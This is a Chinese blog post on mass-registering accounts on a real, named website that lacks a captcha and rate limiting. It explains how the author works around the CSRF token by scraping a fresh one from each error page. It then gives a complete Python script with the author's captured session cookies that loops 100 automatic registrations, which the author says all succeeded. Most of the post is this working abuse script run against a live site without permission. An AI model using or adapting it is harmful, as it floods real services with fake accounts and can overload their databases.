利用python3对某网站进行批量注册的技术分析

发表于 更新于 分类于 ，

问题来源于实践，实践是检验真理的唯一标准

分析执行

今日正浏览借鉴别人网站的长处时，发现一站点注册界面没有加验证操作。于是F12，经过再次注册，梳理了注册的整个流程。于是打开PyCharm，代码一顿撸。

发现把浏览器中的头信息全抓过来，换成随机的用户名密码邮箱，发送post请求后，返回的是500。不解，深入研究后发现每次请求返回的500信息页面中，注册表单有个隐藏input输入框，并且名称很可疑，竟然叫_token，而且赋了value值。

想必这就是每次注册不能一样的token信息吧，于是换在头信息和注册form表单提交信息中，再次请求，发现是可行的，返回了{“result”:true,”data”:””}信息，到页面登陆也是ok的。接着再请求一次就是返回的500了，而且返回的500页面，input的value值也更新了，于是想，能不能利用爬虫把这500页面的input值获取，放到新的注册接口中请求中在此注册呢，于是代码又是一顿撸。
获取token—>更新token信息—>请求注册接口。最外层加了个for循环，循环100次，也成功注册了100个账号。页面随便取出一个账号登陆也没毛病

总结积累

通过这次的批量请求接口并且注册成功的小案例，我们不难发现。一个没有验证码的注册接口，或者一个后台没有限制ip请求次数的网站是多么的危险，轻则生成无数垃圾用户数据，重则可能就会造成数据库的崩溃，进而整个网站的崩溃。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from urllib import request
import requests
import random, string
from bs4 import BeautifulSoup

url = "http://promo.v2rty.xyz/json_register"

headers = {
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'keep-alive',
    'Content-Length': '170',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Cookie': '__cfduid=d20ad5a1e337b628e2b7a31b2f8cc20831566037397; _ga=GA1.2.198601284.1566037407; _gid=GA1.2.1940824762.1566037407; __tawkuuid=e::promo.v2rty.xyz::OnkwncKyZiOeRRGLJXLwct9mBhRoEvZTVJryyTgUnaJh+AD6MBlGnWKk+DRAJ/qx::2; agent=eyJpdiI6ImNnbzV1c1l0dU9GNmpac3hLS0doUkE9PSIsInZhbHVlIjoicWlIakM4SCtZNHQ0RVdzVHBZUVNlRTZtbUF0VWJNZ3MxODNFTjlvM2hOWT0iLCJtYWMiOiI4NTAzM2EwMGUwMGI3MmU5ODRkNWU5NDUzYzA5YjI2MWM0Y2M5MjIyNTQ1MmY4NzNhNzkwYThmNWFlYTQ0NTE3In0%3D; VIEW_PLAY_PAGE_VIDEO_IDS=eyJpdiI6IlNMQWpMdWpTd2VUSlRLWnArMW9cL2NRPT0iLCJ2YWx1ZSI6IndJK2pDcGMyQVNNTkJHbFk1Rjg3a3BINjdVQk5sRlwvcnFlam5LdmZnWjRnPSIsIm1hYyI6IjYzYTZhNGNjNDg2MzE2MjY0MzBlNWEzZTNkZGZlMDhhMTFjNDFmZDU5MzE5NWExZDgxZWRmNjAxMjFkMDZiMjQifQ%3D%3D; font_loginName=; font_loginPwd=; XSRF-TOKEN=eyJpdiI6IlI0RjY2eDU4K1AzRmY0N0tiOFQrQkE9PSIsInZhbHVlIjoiMW1KMW1UY1RIVFVxcENqenkzK3J0UEt4eFhRd25RdE5BZ0YwMTZBVkFmbTJHbnhhclgwSDArc0JReHUwQml4VGxJbk05dG1NWGNyK0FlYnVONk9JUEE9PSIsIm1hYyI6IjUxYjdkY2YwNDc0YTI0YTA2MjUzM2I1YjNhNjQyNDYwYjU3ZDk4MGIwYTM3NjBkY2U5NzQ4NDgyYTk4YzA0MjUifQ%3D%3D; laravel_session=eyJpdiI6IjFmR3ZkTFg2RE9jYzlDa2pSUUFCalE9PSIsInZhbHVlIjoieHk0NVRaYlkzU0ZmUjJvQU5jendQczhmODB4dnBKeURQSnJoWnY0cjlXckkyQlZ6amFXaGl3UGhQYTZTMndtZmxcL2g2N0E5YTJZdzVPTE0wRm1DbzFRPT0iLCJtYWMiOiI3NjI2N2I4Zjg1OTc4MDQ3YmY5YTViMDJjN2NiMjdkZmExZjM0MzZiMmNiZTAwMGNhZDJjMmMyZDg5ZWVhNjNiIn0%3D; _gat=1; TawkConnectionTime=0',
    'Host': 'promo.v2rty.xyz',
    'Origin': 'http://promo.v2rty.xyz',
    'Referer': 'http://promo.v2rty.xyz/',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0',
    'X-CSRF-TOKEN': 'XjrNNdCe9dMyeH67Q7jPInGIak8ovSW9R8dtv3wa',
    'X-Requested-With': 'XMLHttpRequest'
}


def getToken(data):
    s = requests.session()
    login = s.post(url, data=data, headers=headers)
    soup = BeautifulSoup(login.text, 'html.parser')
    find_all = soup.find_all(name='div', attrs={'class': 'xingyu-search'})[0]('input')[0]["value"]
    print("login:" + find_all)
    return find_all
    # print(login.text)


# 不知道为啥首页的token信息不能用来注册
def getInToken():
    get = requests.get('http://promo.v2rty.xyz/')
    soup = BeautifulSoup(get.text, 'html.parser')
    find_all = soup.find_all(name='div', attrs={'class': 'xingyu-search'})[0]('input')[0]["value"]
    print("index:" + find_all)
    return find_all


def reg(data, endHaders):
    s = requests.session()
    login = s.post(url, data=data, headers=endHaders)  # 发送登录信息，返回响应信息（包含cookie）
    print(login.text)

# 随机生成用户名、密码、邮箱
def getData():
    # num的值为[a-zA-Z0-9]
    num = string.ascii_letters + string.digits
    name = "".join(random.sample(num, random.randint(4, 9)))

    pwd = "".join(random.sample(num, random.randint(6, 16)))

    em = "".join(random.sample(num, random.randint(6, 16)))

    malist = ["@qq.com", "@163.com", "@126.com", "@gmail.com"]

    mailend = random.sample(malist, 1)[0]
    email = "{}{}".format(em, mailend)

    data = {'_token': 'XjrNNdCe9dMyeH67Q7jPInGIak8ovSW9R8dtv3wa',
            'register_region': 'PC',
            "name": name,
            "password": pwd,
            "password_confirmation": pwd,
            "email": email,
            "sex": "1",
            "remember": "on"
            }
    return data


def getEndData(tokrn):
    num = string.ascii_letters + string.digits
    name = "".join(random.sample(num, random.randint(4, 9)))

    pwd = "".join(random.sample(num, random.randint(6, 16)))

    em = "".join(random.sample(num, random.randint(6, 16)))

    malist = ["@qq.com", "@163.com", "@126.com", "@gmail.com"]

    mailend = random.sample(malist, 1)[0]
    email = "{}{}".format(em, mailend)

    print("name：" + name + "------" + "pwd：" + pwd + "------" + "email：" + email)

    data = {'_token': tokrn,
            'register_region': 'PC',
            "name": name,
            "password": pwd,
            "password_confirmation": pwd,
            "email": email,
            "sex": "1",
            "remember": "on"
            }
    return data


def getEndHaders(token):
    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'keep-alive',
        'Content-Length': '170',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Cookie': '__cfduid=d20ad5a1e337b628e2b7a31b2f8cc20831566037397; _ga=GA1.2.198601284.1566037407; _gid=GA1.2.1940824762.1566037407; __tawkuuid=e::promo.v2rty.xyz::OnkwncKyZiOeRRGLJXLwct9mBhRoEvZTVJryyTgUnaJh+AD6MBlGnWKk+DRAJ/qx::2; agent=eyJpdiI6ImNnbzV1c1l0dU9GNmpac3hLS0doUkE9PSIsInZhbHVlIjoicWlIakM4SCtZNHQ0RVdzVHBZUVNlRTZtbUF0VWJNZ3MxODNFTjlvM2hOWT0iLCJtYWMiOiI4NTAzM2EwMGUwMGI3MmU5ODRkNWU5NDUzYzA5YjI2MWM0Y2M5MjIyNTQ1MmY4NzNhNzkwYThmNWFlYTQ0NTE3In0%3D; VIEW_PLAY_PAGE_VIDEO_IDS=eyJpdiI6IlNMQWpMdWpTd2VUSlRLWnArMW9cL2NRPT0iLCJ2YWx1ZSI6IndJK2pDcGMyQVNNTkJHbFk1Rjg3a3BINjdVQk5sRlwvcnFlam5LdmZnWjRnPSIsIm1hYyI6IjYzYTZhNGNjNDg2MzE2MjY0MzBlNWEzZTNkZGZlMDhhMTFjNDFmZDU5MzE5NWExZDgxZWRmNjAxMjFkMDZiMjQifQ%3D%3D; font_loginName=; font_loginPwd=; XSRF-TOKEN=eyJpdiI6IlI0RjY2eDU4K1AzRmY0N0tiOFQrQkE9PSIsInZhbHVlIjoiMW1KMW1UY1RIVFVxcENqenkzK3J0UEt4eFhRd25RdE5BZ0YwMTZBVkFmbTJHbnhhclgwSDArc0JReHUwQml4VGxJbk05dG1NWGNyK0FlYnVONk9JUEE9PSIsIm1hYyI6IjUxYjdkY2YwNDc0YTI0YTA2MjUzM2I1YjNhNjQyNDYwYjU3ZDk4MGIwYTM3NjBkY2U5NzQ4NDgyYTk4YzA0MjUifQ%3D%3D; laravel_session=eyJpdiI6IjFmR3ZkTFg2RE9jYzlDa2pSUUFCalE9PSIsInZhbHVlIjoieHk0NVRaYlkzU0ZmUjJvQU5jendQczhmODB4dnBKeURQSnJoWnY0cjlXckkyQlZ6amFXaGl3UGhQYTZTMndtZmxcL2g2N0E5YTJZdzVPTE0wRm1DbzFRPT0iLCJtYWMiOiI3NjI2N2I4Zjg1OTc4MDQ3YmY5YTViMDJjN2NiMjdkZmExZjM0MzZiMmNiZTAwMGNhZDJjMmMyZDg5ZWVhNjNiIn0%3D; _gat=1; TawkConnectionTime=0',
        'Host': 'promo.v2rty.xyz',
        'Origin': 'http://promo.v2rty.xyz',
        'Referer': 'http://promo.v2rty.xyz/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0',
        'X-CSRF-TOKEN': token,
        'X-Requested-With': 'XMLHttpRequest'
    }
    return headers


# 此网页每次注册后
if __name__ == "__main__":
    for i in range(100):
        # 获取随机生成的用户名密码邮箱，用于注册获取token信息
        data = getData()
        # 首次会注册失败但是会有token信息，此处获取token信息
        token = getToken(data)
        # 注册信息携带最新的token
        endData = getEndData(token)
        # 头信息携带最新的token
        endHaders = getEndHaders(token)
        # 进行注册操作
        reg(endData, endHaders)

-------------本文结束感谢您的阅读-------------
 相关文章
感觉文章不错，就赏个吧！
0%